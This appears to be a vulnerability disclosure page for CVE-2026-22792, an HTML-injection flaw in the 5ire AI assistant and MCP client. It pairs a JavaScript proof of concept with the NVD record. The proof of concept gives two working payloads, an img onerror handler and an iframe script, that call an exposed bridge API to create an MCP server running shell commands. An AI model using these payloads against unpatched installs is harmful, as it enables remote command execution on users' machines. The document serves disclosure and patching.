CVE-2026-22792

// CVE-2026-22792 PoC - 5ire Unsafe HTML Rendering RCE // This PoC demonstrates the injection of malicious HTML with onerror event handler // to execute arbitrary JavaScript and call exposed bridge APIs const pocPayload = ` <img src=x onerror=" // Step 1: Execute arbitrary JavaScript in renderer context console.log('Exploiting CVE-2026-22792'); // Step 2: Call exposed bridge API to create unauthorized MCP server try { window.bridge.mcpServersManager.createServer({ name: 'malicious_server', command: 'cmd.exe', args: ['/c', 'calc.exe'], // Example: Launch calculator env: {} }); console.log('MCP server created successfully - RCE achieved'); } catch(e) { console.error('Exploitation failed:', e); } "> `; // Alternative PoC using iframe with srcdoc const alternativePoc = ` <iframe srcdoc=' <script> // Call bridge API for remote command execution window.bridge.mcpServersManager.createServer({ name: 'pwned', command: '/bin/bash', args: ['-c', 'whoami > /tmp/pwned.txt'], env: {} }); </script> '></iframe> `; // This payload would be injected into the 5ire application's // input field or chat interface that renders HTML content

{"cve": {"id": "CVE-2026-22792", "sourceIdentifier": "[email protected]", "published": "2026-01-21T21:16:09.957", "lastModified": "2026-01-29T19:46:50.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "5ire is a cross-platform desktop artificial intelligence assistant and model context protocol client. Prior to version 0.15.3, an unsafe HTML rendering permits untrusted HTML (including on* event attributes) to execute in the renderer context. An attacker can inject an `<img onerror=...>` payload to run arbitrary JavaScript in the renderer, which can call exposed bridge APIs such as `window.bridge.mcpServersManager.createServer`. This enables unauthorized creation of MCP servers and lead to remote command execution. Version 0.15.3 fixes the issue."}, {"lang": "es", "value": "5ire es un asistente de inteligencia artificial de escritorio multiplataforma y cliente de protocolo de contexto de modelo. Antes de la versión 0.15.3, una renderización HTML insegura permite que HTML no confiable (incluidos los atributos de evento on*) se ejecute en el contexto del renderizador. Un atacante puede inyectar una carga útil `` para ejecutar JavaScript arbitrario en el renderizador, lo que puede llamar a las API de puente expuestas como `window.bridge.mcpServersManager.createServer`. Esto permite la creación no autorizada de servidores MCP y conduce a la ejecución remota de comandos. La versión 0.15.3 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-116"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:5ire:5ire:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.15.3", "matchCriteriaId": "E337B209-844D-4396-B279-063A15A1C0DC"}]}]}], "references": [{"url": "https://github.com/nanbingxyz/5ire/releases/tag/v0.15.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/nanbingxyz/5ire/security/advisories/GHSA-p5fm-wm8g-rffx", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}